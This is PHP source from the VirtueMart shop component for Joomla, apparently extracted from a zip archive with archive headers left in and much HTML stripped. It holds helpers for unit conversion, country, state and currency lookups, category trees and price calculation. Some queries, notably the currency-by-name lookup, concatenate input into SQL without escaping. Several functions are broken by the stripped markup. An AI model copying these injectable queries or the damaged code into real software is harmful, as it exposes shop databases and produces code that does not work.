('COM_VIRTUEMART_UNIT_SYMBOL_SM') , 'CUBM' => JText::_ ('COM_VIRTUEMART_UNIT_SYMBOL_CUBM') , 'L' => JText::_ ('COM_VIRTUEMART_UNIT_SYMBOL_L') , '100ML' => JText::_ ('COM_VIRTUEMART_UNIT_SYMBOL_100ML') ); foreach ($weight_unit_default as $key => $value) { $wu_list[] = JHTML::_ ('select.option', $key, $value, $name); } $listHTML = JHTML::_ ('Select.genericlist', $wu_list, $name, '', $name, 'text', $selected); return $listHTML; } /** * typo problem with the function name. We must keep the other one for compatibility purposes * @param $value * @param $from * @param $to */ static function convertWeigthUnit ($value, $from, $to) { return self::convertWeightUnit ($value, $from, $to); } /** * Convert Weight Unit * * @author Valérie Isaksen */ static function convertWeightUnit ($value, $from, $to) { $from = strtoupper($from); $to = strtoupper($to); $value = str_replace (',', '.', $value); if ($from === $to) { return $value; } $g = (float)$value; switch ($from) { case 'KG': $g = (float)(1000 * $value); break; case 'MG': $g = (float)($value / 1000); break; case 'LB': $g = (float)(453.59237 * $value); break; case 'OZ': $g = (float)(28.3495 * $value); break; } switch ($to) { case 'KG' : $value = (float)($g / 1000); break; case 'G' : $value = $g; break; case 'MG' : $value = (float)(1000 * $g); break; case 'LB' : $value = (float)($g / 453.59237); break; case 'OZ' : $value = (float)($g / 28.3495); break; } return $value; } /** * Convert Metric Unit * * @author Florian Voutzinos */ static function convertDimensionUnit ($value, $from, $to) { $from = strtoupper($from); $to = strtoupper($to); $value = (float)str_replace (',', '.', $value); if ($from === $to) { return $value; } $meter = (float)$value; // transform $value in meters switch ($from) { case 'CM': $meter = (float)(0.01 * $value); break; case 'MM': $meter = (float)(0.001 * $value); break; case 'YD' : $meter =(float) (0.9144 * $value); break; case 'FT' : $meter = (float)(0.3048 * $value); break; case 'IN' : $meter = (float)(0.0254 * $value); break; } switch ($to) { case 'M' : $value = $meter; break; case 'CM': $value = (float)($meter / 0.01); break; case 'MM': $value = (float)($meter / 0.001); break; case 'YD' : $value =(float) ($meter / 0.9144); break; case 'FT' : $value = (float)($meter / 0.3048); break; case 'IN' : $value = (float)($meter / 0.0254); break; } return $value; } /** * Renders the list for the Length, Width, Height Unit * * @author Valérie Isaksen */ static function renderLWHUnitList ($name, $selected) { if (!class_exists ('VmHTML')) { require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'html.php'); } $lwh_unit_default = array('M' => JText::_ ('COM_VIRTUEMART_UNIT_NAME_M') , 'CM' => JText::_ ('COM_VIRTUEMART_UNIT_NAME_CM') , 'MM' => JText::_ ('COM_VIRTUEMART_UNIT_NAME_MM') , 'YD' => JText::_ ('COM_VIRTUEMART_UNIT_NAME_YARD') , 'FT' => JText::_ ('COM_VIRTUEMART_UNIT_NAME_FOOT') , 'IN' => JText::_ ('COM_VIRTUEMART_UNIT_NAME_INCH') ); foreach ($lwh_unit_default as $key => $value) { $lu_list[] = JHTML::_ ('select.option', $key, $value, $name); } $listHTML = JHTML::_ ('Select.genericlist', $lu_list, $name, '', $name, 'text', $selected); return $listHTML; } /** * Writes a line for the price configuration * * @author Max Milberes * @param string $name * @param string $langkey */ static function writePriceConfigLine ($obj, $name, $langkey) { if (!class_exists ('VmHTML')) { require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'html.php'); } $html = ' ' . VmHTML::checkbox ($name, $obj->get ($name)) . ' ' . VmHTML::checkbox ($name . 'Text', $obj->get ($name . 'Text', 1)) . ' '; return $html; } /** * This generates the list when the user have different ST addresses saved * * @author Oscar van Eijk */ static function generateStAddressList ($view, $userModel, $task) { // Shipment address(es) $_addressList = $userModel->getUserAddressList ($userModel->getId (), 'ST'); if (count ($_addressList) == 1 && empty($_addressList[0]->address_type_name)) { return JText::_ ('COM_VIRTUEMART_USER_NOSHIPPINGADDR'); } else { $_shipTo = array(); $useXHTTML = empty($view->useXHTML) ? false : $view->useXHTML; $useSSL = empty($view->useSSL) ? FALSE : $view->useSSL; for ($_i = 0; $_i < count ($_addressList); $_i++) { if (empty($_addressList[$_i]->virtuemart_user_id)) { $_addressList[$_i]->virtuemart_user_id = JFactory::getUser ()->id; } if (empty($_addressList[$_i]->virtuemart_userinfo_id)) { $_addressList[$_i]->virtuemart_userinfo_id = 0; } if (empty($_addressList[$_i]->address_type_name)) { $_addressList[$_i]->address_type_name = 0; } $_shipTo[] = '
    • ' . '' . $_addressList[$_i]->address_type_name . ' ' ; $_shipTo[] = '  '.JText::_('COM_VIRTUEMART_USER_DELETE_ST').'
    • '; } $addLink = ' '; $addLink .= JText::_ ('COM_VIRTUEMART_USER_FORM_ADD_SHIPTO_LBL') . ' '; return $addLink . '
        ' . join ('', $_shipTo) . '
      '; } } /** * used mostly in the email, to display the vendor address * Attention, this function will be removed from any view.html.php * * @static * @param $vendorId * @param string $lineSeparator * @param array $skips * @return string */ static public function renderVendorAddress ($vendorId,$lineSeparator="
      ", $skips = array('name','username','email','agreed')) { $vendorModel = VmModel::getModel('vendor'); $vendorModel->setId($vendorId); $vendorFields = $vendorModel->getVendorAddressFields($vendorId); $vendorAddress = ''; foreach ($vendorFields['fields'] as $field) { if(in_array($field['name'],$skips)) continue; if (!empty($field['value'])) { $vendorAddress .= $field['value']; if ($field['name'] != 'title' and $field['name'] != 'first_name' and $field['name'] != 'middle_name' and $field['name'] != 'zip') { $vendorAddress .= $lineSeparator; } else { $vendorAddress .= ' '; } } } return $vendorAddress; } public static $counter = 0; public static $categoryTree = 0; static public function categoryListTree ($selectedCategories = array(), $cid = 0, $level = 0, $disabledFields = array()) { if (empty(self::$categoryTree)) { // vmTime('Start with categoryListTree'); $cache = JFactory::getCache ('com_virtuemart_cats'); $cached = $cache->getCaching(); $cache->setCaching (1); self::$categoryTree = $cache->call (array('ShopFunctions', 'categoryListTreeLoop'), $selectedCategories, $cid, $level, $disabledFields); $cache->setCaching ($cached); // self::$categoryTree = self::categoryListTreeLoop($selectedCategories, $cid, $level, $disabledFields); // vmTime('end loop categoryListTree '.self::$counter); } return self::$categoryTree; } /** * Get feed * @author valerie isaksen * @param $rssUrl * @param $max * @return mixed */ static public function getCPsRssFeed($rssUrl,$max) { $cache_time=86400*3; // 3days $cache = JFactory::getCache ('com_virtuemart_rss'); $cached = $cache->getCaching(); $cache->setLifeTime($cache_time); $cache->setCaching (1); $feeds = $cache->call (array('ShopFunctions', 'getRssFeed'), $rssUrl, $max); $cache->setCaching ($cached); return $feeds; } /** * @author Valerie Isaksen * Returns the RSS feed from Extensions.virtuemart.net * @return mixed */ public static $extFeeds = 0; static public function getExtensionsRssFeed() { if (empty(self::$extFeeds)) { self::$extFeeds = ShopFunctions::getCPsRssFeed("http://extensions.virtuemart.net/?format=feed&type=rss", 15); } return self::$extFeeds; } /** * @author Valerie Isaksen * Returns the RSS feed from virtuemart.net * @return mixed */ public static $vmFeeds = 0; static public function getVirtueMartRssFeed() { if (empty(self::$vmFeeds)) { self::$vmFeeds = ShopFunctions::getCPsRssFeed("http://virtuemart.net/news/list-all-news?format=feed&type=rss", 5); } return self::$vmFeeds; } static public function getRssFeed ($rssURL,$max) { jimport('simplepie.simplepie'); $rssFeed = new SimplePie($rssURL); $feeds = array(); $count = $rssFeed->get_item_quantity(); $limit=min($max,$count); for ($i = 0; $i < $limit; $i++) { $feed = new StdClass(); $item = $rssFeed->get_item($i); $feed->link = $item->get_link(); $feed->title = $item->get_title(); $feed->description = $item->get_description(); $feeds[] = $feed; } return $feeds; } /** * Creates structured option fields for all categories * * @todo: Connect to vendor data * @author Max Milbers, jseros * @param array $selectedCategories All category IDs that will be pre-selected * @param int $cid Internally used for recursion * @param int $level Internally used for recursion * @return string $category_tree HTML: Category tree list */ static public function categoryListTreeLoop ($selectedCategories = array(), $cid = 0, $level = 0, $disabledFields = array()) { self::$counter++; static $categoryTree = ''; $virtuemart_vendor_id = 1; // vmSetStartTime('getCategories'); $categoryModel = VmModel::getModel ('category'); $level++; $categoryModel->_noLimit = TRUE; $app = JFactory::getApplication (); $records = $categoryModel->getCategories ($app->isSite (), $cid); // vmTime('getCategories','getCategories'); $selected = ""; if (!empty($records)) { foreach ($records as $key => $category) { $childId = $category->category_child_id; if ($childId != $cid) { if (in_array ($childId, $selectedCategories)) { $selected = 'selected=\"selected\"'; } else { $selected = ''; } $disabled = ''; if (in_array ($childId, $disabledFields)) { $disabled = 'disabled="disabled"'; } if ($disabled != '' && stristr ($_SERVER['HTTP_USER_AGENT'], 'msie')) { //IE7 suffers from a bug, which makes disabled option fields selectable } else { $categoryTree .= ''; } } if ($categoryModel->hasChildren ($childId)) { self::categoryListTreeLoop ($selectedCategories, $childId, $level, $disabledFields); } } } return $categoryTree; } /** * Return the countryname or code of a given countryID * * @author Oscar van Eijk * @access public * @param int $id Country ID * @param char $fld Field to return: country_name (default), country_2_code or country_3_code. * @return string Country name or code */ static public function getCountryByID ($id, $fld = 'country_name') { if (empty($id)) { return ''; } $id = (int)$id; $db = JFactory::getDBO (); $q = 'SELECT ' . $db->getEscaped ($fld) . ' AS fld FROM `#__virtuemart_countries` WHERE virtuemart_country_id = ' . (int)$id; $db->setQuery ($q); return $db->loadResult (); } /** * Return the virtuemart_country_id of a given country name * * @author Oscar van Eijk * @author Max Milbers * @access public * @param string $name Country name (can be country_name or country_3_code or country_2_code ) * @return int virtuemart_country_id */ static public function getCountryIDByName ($name) { if (empty($name)) { return 0; } $db = JFactory::getDBO (); if (strlen ($name) === 2) { $fieldname = 'country_2_code'; } else { if (strlen ($name) === 3) { $fieldname = 'country_3_code'; } else { $fieldname = 'country_name'; } } $q = 'SELECT `virtuemart_country_id` FROM `#__virtuemart_countries` WHERE `' . $fieldname . '` = "' . $db->getEscaped ($name) . '"'; $db->setQuery ($q); $r = $db->loadResult (); return $r; } /** * Return the statename or code of a given virtuemart_state_id * * @author Oscar van Eijk * @access public * @param int $id State ID * @param char $fld Field to return: state_name (default), state_2_code or state_3_code. * @return string state name or code */ static public function getStateByID ($id, $fld = 'state_name') { if (empty($id)) { return ''; } $db = JFactory::getDBO (); $q = 'SELECT ' . $db->getEscaped ($fld) . ' AS fld FROM `#__virtuemart_states` WHERE virtuemart_state_id = "' . (int)$id . '"'; $db->setQuery ($q); $r = $db->loadObject (); return $r->fld; } /** * Return the stateID of a given state name * * @author Max Milbers * @access public * @param string $name Country name * @return int virtuemart_state_id */ static public function getStateIDByName ($name) { if (empty($name)) { return 0; } $db = JFactory::getDBO (); if (strlen ($name) === 2) { $fieldname = 'state_2_code'; } else { if (strlen ($name) === 3) { $fieldname = 'state_3_code'; } else { $fieldname = 'state_name'; } } $q = 'SELECT `virtuemart_state_id` FROM `#__virtuemart_states` WHERE `' . $fieldname . '` = "' . $db->getEscaped ($name) . '"'; $db->setQuery ($q); $r = $db->loadResult (); return $r; } /* * Returns the associative array for a given virtuemart_calc_id * * @author Valérie Isaksen * @access public * @param int $id virtuemart_calc_id * @return array Result row */ static public function getTaxByID ($id) { if (empty($id)) { return ''; } $id = (int)$id; $db = JFactory::getDBO (); $q = 'SELECT * FROM `#__virtuemart_calcs` WHERE virtuemart_calc_id = ' . (int)$id; $db->setQuery ($q); return $db->loadAssoc (); } /** * Return any field from table '#__virtuemart_currencies' * * @author Valérie Isaksen * @access public * @param int $id Currency ID * @param char $fld Field from table '#__virtuemart_currencies' to return: currency_name (default), currency_code_2, currency_code_3 etc. * @return string Currency name or code */ static public function getCurrencyByID ($id, $fld = 'currency_name') { if (empty($id)) { return ''; } static $currencyNameById = array(); if(!isset($currencyNameById[$id][$fld])){ $id = (int)$id; $db = JFactory::getDBO (); $q = 'SELECT ' . $db->getEscaped ($fld) . ' AS fld FROM `#__virtuemart_currencies` WHERE virtuemart_currency_id = ' . (int)$id; $db->setQuery ($q); $currencyNameById[$id][$fld] = $db->loadResult (); } return $currencyNameById[$id][$fld]; } /** * Return the currencyID of a given Currency name * This function becomes dangerous if there is a currency name with 3 letters * @author Valerie Isaksen, Max Milbers * @access public * @param string $name Currency name * @return int virtuemart_currency_id */ static public function getCurrencyIDByName ($name) { if (empty($name)) { return 0; } static $currencyIdByName = array(); if(!isset($currencyIdByName[$name])){ $db = JFactory::getDBO (); if (strlen ($name) === 2) { $fieldname = 'currency_code_2'; } else { if (strlen ($name) === 3) { $fieldname = 'currency_code_3'; } else { $fieldname = 'currency_name'; } } $q = 'SELECT `virtuemart_currency_id` FROM `#__virtuemart_currencies` WHERE `' . $fieldname . '` = "' . ($name) . '"'; $db->setQuery ($q); $currencyIdByName[$name] = $db->loadResult (); } return $currencyIdByName[$name]; } /** * Print a select-list with enumerated categories * * @author jseros * * @param boolean $onlyPublished Show only published categories? * @param boolean $withParentId Keep in mind $parentId param? * @param integer $parentId Show only its childs * @param string $attribs HTML attributes for the list * @return string " . ""; $html[] = $tmp; } return $html; } function checkboxList ($arr, $tag_name, $tag_attribs, $key = 'value', $text = 'text', $selected = NULL, $required = 0) { return "\n\t" . implode ("\n\t", vmCommonHTML::checkboxListArr ($arr, $tag_name, $tag_attribs, $key, $text, $selected, $required)) . "\n"; } function checkboxListTable ($arr, $tag_name, $tag_attribs, $key = 'value', $text = 'text', $selected = NULL, $cols = 0, $rows = 0, $size = 0, $required = 0) { $cellsHtml = self::checkboxListArr ($arr, $tag_name, $tag_attribs, $key, $text, $selected, $required); return self::list2Table ($cellsHtml, $cols, $rows, $size); } // private methods: private function list2Table ($cellsHtml, $cols, $rows, $size) { $cells = count ($cellsHtml); if ($size == 0) { $localstyle = ""; //" style='width:100%'"; } else { $size = (($size - ($size % 3)) / 3) * 2; // int div 3 * 2 width/heigh ratio $localstyle = " style='width:" . $size . "em;'"; } $return = ""; if ($cells) { if ($rows) { $return = "\n\t"; $cols = ($cells - ($cells % $rows)) / $rows; // int div if ($cells % $rows) { $cols++; } $lineIdx = 0; for ($lineIdx = 0; $lineIdx < min ($rows, $cells); $lineIdx++) { $return .= "\n\t\t"; for ($i = $lineIdx; $i < $cells; $i += $rows) { $return .= ""; } $return .= "\n"; } $return .= "\t
      " . $cellsHtml[$i] . "
      \n"; } else { if ($cols) { $return = "\n\t"; $idx = 0; while ($cells) { $return .= "\n\t\t"; for ($i = 0, $n = min ($cells, $cols); $i < $n; $i++, $cells--) { $return .= ""; } $return .= "\n"; } $return .= "\t
      " . $cellsHtml[$idx++] . "
      \n"; } else { $return = "\n\t" . implode ("\n\t ", $cellsHtml) . "\n"; } } } return $return; } /** * Return $str with all but $display_length at the end as asterisks. * * @author gday * * @access public * @param string $str The string to mask * @param int $display_length The length at the end of the string that is NOT masked * @param boolean $reversed When true, masks the end. Masks from the beginning at default * @return string The string masked by asteriks */ public function asteriskPad ($str, $display_length, $reversed = FALSE) { $total_length = strlen ($str); if ($total_length > $display_length) { if (!$reversed) { for ($i = 0; $i < $total_length - $display_length; $i++) { $str[$i] = "*"; } } else { for ($i = $total_length - 1; $i >= $total_length - $display_length; $i--) { $str[$i] = "*"; } } } return ($str); } /** * Return the icon to move an item UP * * @access public * @param int $i The row index * @param boolean $condition True to show the icon * @param string $task The task to fire * @param string $alt The image alternate text string * @return string Either the icon to move an item up or a space * @since 1.0 */ function orderUpIcon ($i, $condition = TRUE, $task = 'orderup', $alt = 'COM_VIRTUEMART_MOVE_UP', $enabled = TRUE) { $alt = JText::_ ($alt); $html = ' '; if ($i > 0) { if ($enabled) { $html = ''; $html .= ' ' . $alt . ''; $html .= ''; } else { $html = '' . $alt . ''; } } return $html; } /** * Return the icon to move an item DOWN * * @access public * @param int $i The row index * @param int $n The number of items in the list * @param boolean $condition True to show the icon * @param string $task The task to fire * @param string $alt The image alternate text string * @return string Either the icon to move an item down or a space * @since 1.0 */ function orderDownIcon ($i, $n, $condition = TRUE, $task = 'orderdown', $alt = 'Move Down', $enabled = TRUE) { $alt = JText::_ ($alt); $html = ' '; if ($i < $n - 1) { if ($enabled) { $html = ''; $html .= ' ' . $alt . ''; $html .= ''; } else { $html = '' . $alt . ''; } } return $html; } static function getValidProductFilterArray () { static $filterArray; if (!isset($filterArray)) { /* $filterArray = array('p.virtuemart_product_id', 'p.product_sku','pp.product_price','c.category_name','c.category_description', 'm.mf_name', 'l.product_s_desc', 'p.product_desc', 'p.product_weight', 'p.product_weight_uom', 'p.product_length', 'p.product_width', 'p.product_height', 'p.product_lwh_uom', 'p.product_in_stock', 'p.low_stock_notification', 'p.product_available_date', 'p.product_availability', 'p.product_special', 'p.created_on', 'p.modified_on', 'l.product_name', 'p.product_sales', 'p.product_unit', 'p.product_packaging', 'p.intnotes', 'l.metadesc', 'l.metakey', 'p.metarobot', 'p.metaauthor'); } */ $filterArray = array('product_name', '`p`.created_on', '`p`.product_sku', 'product_s_desc', 'product_desc','`l`.slug', 'category_name', 'category_description', 'mf_name', 'product_price', '`p`.product_special', '`p`.product_sales', '`p`.product_availability', '`p`.product_available_date', '`p`.product_height', '`p`.product_width', '`p`.product_length', '`p`.product_lwh_uom', '`p`.product_weight', '`p`.product_weight_uom', '`p`.product_in_stock', '`p`.low_stock_notification', '`p`.modified_on', '`p`.product_unit', '`p`.product_packaging', '`p`.virtuemart_product_id', 'pc.ordering'); //other possible fields //'p.intnotes', this is maybe interesting, but then only for admins or special shoppergroups // this fields leads to trouble, because we have this fields in product, category and manufacturer, // they are anyway making not a lot sense for orderby or search. //'l.metadesc', 'l.metakey', 'l.metarobot', 'l.metaauthor' } return $filterArray; } /** * Returns developer information for a plugin * Returns a 2 link with background image, should look like a button to open contact page or manual * * @static * @param $title string Title of the plugin * @param $intro string Intro text * @param $logolink url Url to logo images, use here the path and then as image names contact.png and manual.png * @param $developer string Name of the developer/company * @param $contactlink url Url to the contact form of the developer for support * @param $manlink url URL to the manual for this specific plugin * @return string */ static function display3rdInfo($title,$intro,$developer,$logolink,$contactlink,$manlink,$width='96px',$height='66px',$linesHeight='33px'){ $html = $intro; $html .= self::displayLinkButton(JText::sprintf('COM_VIRTUEMART_THRD_PARTY_CONTACT',$developer),$contactlink, $logolink.'/contact.png',$width,$height,$linesHeight); $html .='
      '; $html .= self::displayLinkButton(JText::sprintf('COM_VIRTUEMART_THRD_PARTY_MANUAL',$title),$manlink, $logolink.'/manual.png',$width,$height,$linesHeight); return $html; } static function displayLinkButton($title, $link, $bgrndImage,$width,$height,$linesHeight,$additionalStyles=''){ //$lineHeight = ((int)$height)/$lines; //vmdebug('displayLinkButton '.$height.' '.$lineHeight); $html = ''; return $html; } static $tested = False; static function checkSafePath($safePath=0){ if($safePath==0) { $safePath = VmConfig::get('forSale_path',0); if(self::$tested) return $safePath; } $warn = FALSE; $uri = JFactory::getURI(); $configlink = $uri->root() . 'administrator/index.php?option=com_virtuemart&view=config'; VmConfig::loadJLang('com_virtuemart'); if(empty($safePath)){ $warn = 'COM_VIRTUEMART_WARN_NO_SAFE_PATH_SET'; } else { $exists = JFolder::exists($safePath); if(!$exists){ $warn = 'COM_VIRTUEMART_WARN_SAFE_PATH_WRONG'; } else{ if(!is_writable( $safePath )){ VmConfig::loadJLang('com_virtuemart_config'); VmWarn('COM_VIRTUEMART_WARN_SAFE_PATH_NOT_WRITEABLE',JText::_('COM_VIRTUEMART_ADMIN_CFG_MEDIA_FORSALE_PATH'),$safePath,$configlink); } else { if(!is_writable(self::getInvoicePath($safePath) )){ VmConfig::loadJLang('com_virtuemart_config'); VmWarn('COM_VIRTUEMART_WARN_SAFE_PATH_INV_NOT_WRITEABLE',JText::_('COM_VIRTUEMART_ADMIN_CFG_MEDIA_FORSALE_PATH'),$safePath,$configlink); } } } } if($warn){ $suggestedPath=shopFunctions::getSuggestedSafePath(); VmConfig::loadJLang('com_virtuemart_config'); VmWarn($warn,JText::_('COM_VIRTUEMART_ADMIN_CFG_MEDIA_FORSALE_PATH'),$suggestedPath,$configlink); return FALSE; } return $safePath; } /* * get The invoice Folder Name * @return the invoice folder name */ static function getInvoiceFolderName() { return 'invoices' ; } /* * get The invoice path * @param $safePath the safepath from the config * @return the path where the invoice are stored */ static function getInvoicePath($safePath) { return $safePath.self::getInvoiceFolderName() ; } /* * Returns the suggested safe Path, used to store the invoices * @static * @return string: suggested safe path */ static public function getSuggestedSafePath() { $lastIndex= strrpos(JPATH_ROOT,DS); return substr(JPATH_ROOT,0,$lastIndex).DS.'vmfiles'; } /* * @author Valerie Isaksen */ static public function renderProductShopperList ($productShoppers) { $html = ''; $i=0; if(empty($productShoppers)) return ''; foreach ($productShoppers as $email => $productShopper) { $html .= ' ' . $productShopper['name'] . ' ' . $productShopper['email'] . ' ' . $productShopper['phone'] . ''; $first=TRUE; foreach ($productShopper['order_info'] as $order_info) { if (!$first) $html .= ''; $html .= ''; $html .= $order_info['quantity']; $html .= ''; $html .= ''; $html .= JText::_($order_info['order_item_status_name']); $html .= ' '; $uri = JFactory::getURI(); $link = $uri->root() . 'administrator/index.php?option=com_virtuemart&view=orders&task=edit&virtuemart_order_id=' . $order_info['order_id']; $html .= JHTML::_ ('link', $link, $order_info['order_number'], array('title' => JText::_ ('COM_VIRTUEMART_ORDER_EDIT_ORDER_NUMBER') . ' ' . $order_info['order_number'])); $first=FALSE; $html .= ' '; } $i = 1 - $i; } if (empty($html)) { $html = ' ' . JText::_ ('COM_VIRTUEMART_NO_SEARCH_RESULT') . ' '; } return $html; } static public function renderMetaEdit($obj){ $options = array( '' => JText::_('JGLOBAL_INDEX_FOLLOW'), 'noindex, follow' => JText::_('JGLOBAL_NOINDEX_FOLLOW'), 'index, nofollow' => JText::_('JGLOBAL_INDEX_NOFOLLOW'), 'noindex, nofollow' => JText::_('JGLOBAL_NOINDEX_NOFOLLOW'), 'noodp, noydir' => JText::_('COM_VIRTUEMART_NOODP_NOYDIR'), 'noodp, noydir, nofollow' => JText::_('COM_VIRTUEMART_NOODP_NOYDIR_NOFOLLOW'), ); $html = ' '.VmHTML::row('input','COM_VIRTUEMART_CUSTOM_PAGE_TITLE','customtitle',$obj->customtitle).' '.VmHTML::row('textarea','COM_VIRTUEMART_METAKEY','metakey',$obj->metakey,'class="inputbox"',80).' '.VmHTML::row('textarea','COM_VIRTUEMART_METADESC','metadesc',$obj->metadesc,'class="inputbox"',80).' '.VmHtml::row('selectList','COM_VIRTUEMART_METAROBOTS','metarobot',$obj->metarobot,$options).' '.VmHTML::row('input','COM_VIRTUEMART_METAAUTHOR','metaauthor',$obj->metaauthor).'
      '; return $html; } } //pure php no tag PK@y>\v  1components/com_virtuemart/helpers/vmtabledata.phpnuW+AsetLoggableFieldsForStore(); $this->storeParams(); $tblKey = $this->_tbl_key; $pKey = $this->_pkey; if($tblKey == $pKey){ $res = false; if(!empty($this->$tblKey)){ $_qry = 'SELECT `'.$this->_tbl_key.'` ' . 'FROM `'.$this->_tbl.'` ' . 'WHERE `'.$this->_tbl_key.'` = "' . $this->$tblKey.'" '; $this->_db->setQuery($_qry); $res = $this->_db->loadResult(); } if($res){ $returnCode = $this->_db->updateObject($this->_tbl, $this, $this->_tbl_key, $updateNulls); } else { $returnCode = $this->_db->insertObject($this->_tbl, $this, $this->_tbl_key); } } else { if(!empty($this->$pKey)){ $_qry = 'SELECT `'.$this->_tbl_key.'` ' . 'FROM `'.$this->_tbl.'` ' . 'WHERE `'.$this->_pkey.'` = "' . $this->$pKey.'" '; $this->_db->setQuery($_qry); //Yes, overwriting $this->$tblKey is correct ! $this->$tblKey = $this->_db->loadResult(); } if ( !empty($this->$tblKey) ) { $returnCode = $this->_db->updateObject($this->_tbl, $this, $this->_tbl_key, $updateNulls); } else { $returnCode = $this->_db->insertObject($this->_tbl, $this, $this->_tbl_key); } } // vmdebug('$_qry',$_qry,$pKey,$tblKey, $this->$tblKey); // vmError($_qry,'$_qry'); if (!$returnCode) { vmError(get_class($this) . '::store failed - ' . $this->_db->getErrorMsg()); return false; } else return true; } }PK@y>\x.2components/com_virtuemart/helpers/calculationh.phpnuW+A_db = JFactory::getDBO(); $this->_app = JFactory::getApplication(); //We store in UTC and use here of course also UTC $jnow = JFactory::getDate(); $this->_now = $jnow->toMySQL(); $this->_nullDate = $this->_db->getNullDate(); //Attention, this is set to the mainvendor atm. //This means also that atm for multivendor, every vendor must use the shopcurrency as default // $this->vendorCurrency = 1; $this->productVendorId = 1; if (!class_exists('CurrencyDisplay') )require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'currencydisplay.php'); $this->_currencyDisplay = CurrencyDisplay::getInstance(); $this->_debug = false; if(!empty($this->_currencyDisplay->_vendorCurrency)){ $this->vendorCurrency = $this->_currencyDisplay->_vendorCurrency; $this->vendorCurrency_code_3 = $this->_currencyDisplay->_vendorCurrency_code_3; $this->vendorCurrency_numeric = $this->_currencyDisplay->_vendorCurrency_numeric; } /* else if(VmConfig::get('multix','none')!='none'){ $this->_db->setQuery('SELECT `vendor_currency` FROM #__virtuemart_vendors WHERE `virtuemart_vendor_id`="1" '); $single = $this->_db->loadResult(); $this->vendorCurrency = $single; }*/ $this->setShopperGroupIds(); $this->setVendorId($this->productVendorId); $this->rules['Marge'] = array(); $this->rules['Tax'] = array(); $this->rules['VatTax'] = array(); $this->rules['DBTax'] = array(); $this->rules['DATax'] = array(); //round only with internal digits $this->_roundindig = VmConfig::get('roundindig',FALSE); } static public function getInstance() { if (!is_object(self::$_instance)) { self::$_instance = new calculationHelper(); } else { //We store in UTC and use here of course also UTC $jnow = JFactory::getDate(); self::$_instance->_now = $jnow->toMySQL(); } return self::$_instance; } public function setVendorCurrency($id) { $this->vendorCurrency = $id; } //static $allrules= array(); var $allrules= array(); public function setVendorId($id){ $this->productVendorId = $id; //vmdebug('setVendorId $allrules '.$this->productVendorId,count($this->allrules)); if(empty($this->allrules[$this->productVendorId])){ $epoints = array("'Marge'","'Tax'","'VatTax'","'DBTax'","'DATax'"); $this->allrules[$this->productVendorId]['Marge'] = array(); $this->allrules[$this->productVendorId]['Tax'] = array(); $this->allrules[$this->productVendorId]['VatTax'] = array(); $this->allrules[$this->productVendorId]['DBTax'] = array(); $this->allrules[$this->productVendorId]['DATax'] = array(); $q = 'SELECT * FROM #__virtuemart_calcs WHERE `calc_kind` IN (' . implode(",",$epoints). ' ) AND `published`="1" AND (`virtuemart_vendor_id`="' . $this->productVendorId . '" OR `shared`="1" ) AND ( ( publish_up = "' . $this->_db->getEscaped($this->_nullDate) . '" OR publish_up <= "' . $this->_db->getEscaped($this->_now) . '" ) AND ( publish_down = "' . $this->_db->getEscaped($this->_nullDate) . '" OR publish_down >= "' . $this->_db->getEscaped($this->_now) . '" ) OR `for_override` = "1" )'; $this->_db->setQuery($q); $allrules = $this->_db->loadAssocList(); //By Maik, key of array is directly virtuemart_calc_id foreach ($allrules as $rule){ $this->allrules[$this->productVendorId][$rule["calc_kind"]][$rule["virtuemart_calc_id"]] = $rule; } } } public function getCartPrices() { return $this->_cartPrices; } public function setCartPrices($cartPrices) { $this->_cartPrices = $cartPrices; } public function setCartPricesMerge($cartPrices){ foreach($cartPrices as $k=>$item){ if($k===0) { vmdebug('setCartPricesMerge k === 0 ? item ',$item); continue; } if(isset($this->_cartPrices[$k]) and is_array($this->_cartPrices[$k])){ $this->_cartPrices[$k] = array_merge($this->_cartPrices[$k],$item); } else { $this->_cartPrices[$k] = $item; } } } public function getCartData() { return $this->_cartData; } protected function setShopperGroupIds($shopperGroupIds=0, $vendorId=1) { if (!empty($shopperGroupIds)) { $this->_shopperGroupId = $shopperGroupIds; } else { $user = JFactory::getUser(); $this->_shopperGroupId = array(); if (!empty($user->id)) { $this->_db->setQuery('SELECT `usgr`.`virtuemart_shoppergroup_id` FROM #__virtuemart_vmuser_shoppergroups as `usgr` JOIN `#__virtuemart_shoppergroups` as `sg` ON (`usgr`.`virtuemart_shoppergroup_id`=`sg`.`virtuemart_shoppergroup_id`) WHERE `usgr`.`virtuemart_user_id`="' . $user->id . '" AND `sg`.`virtuemart_vendor_id`="' . (int) $vendorId . '" '); $this->_shopperGroupId = $this->_db->loadResultArray(); if (empty($this->_shopperGroupId)) { $this->_db->setQuery('SELECT `virtuemart_shoppergroup_id` FROM #__virtuemart_shoppergroups WHERE `default`="'.($user->guest+1).'" AND `virtuemart_vendor_id`="' . (int) $vendorId . '"'); $this->_shopperGroupId = $this->_db->loadResultArray(); } } if(!$this->_shopperGroupId) $this->_shopperGroupId = array(); $shoppergroupmodel = VmModel::getModel('ShopperGroup'); $site = JFactory::getApplication ()->isSite (); $shoppergroupmodel->appendShopperGroups($this->_shopperGroupId,$user,$site,$vendorId); } } protected function setCountryState($cart=0) { if ($this->_app->isAdmin()) return; if (empty($cart)) { if (!class_exists('VirtueMartCart')) require(JPATH_VM_SITE . DS . 'helpers' . DS . 'cart.php'); $cart = VirtueMartCart::getCart(); } $this->_cart = $cart; $stBased = VmConfig::get('taxSTbased',TRUE); if ($stBased and !empty($this->_cart->ST['virtuemart_country_id'])) { $this->_deliveryCountry = (int)$this->_cart->ST['virtuemart_country_id']; } else if (!empty($this->_cart->BT['virtuemart_country_id'])) { $this->_deliveryCountry = (int)$this->_cart->BT['virtuemart_country_id']; } if ($stBased and !empty($this->_cart->ST['virtuemart_state_id'])) { $this->_deliveryState = (int)$this->_cart->ST['virtuemart_state_id']; } else if (!empty($cart->BT['virtuemart_state_id'])) { $this->_deliveryState = (int)$this->_cart->BT['virtuemart_state_id']; } //vmdebug('setCountryState state '.$this->_deliveryState,$this->_cart->BT); } /** function to start the calculation, here it is for the product * * The function first gathers the information of the product (maybe better done with using the model) * After that the function gatherEffectingRulesForProductPrice writes the queries and gets the ids of the rules which affect the product * The function executeCalculation makes the actual calculation according to the rules * * @copyright Copyright (c) 2009 VirtueMart Team. All rights reserved. * @author Max Milbers * @param int $product The product * @param int $catIds When the category is already determined, then it makes sense to pass it, if not the function does it for you * @return int $prices An array of the prices * 'basePrice' basePrice calculated in 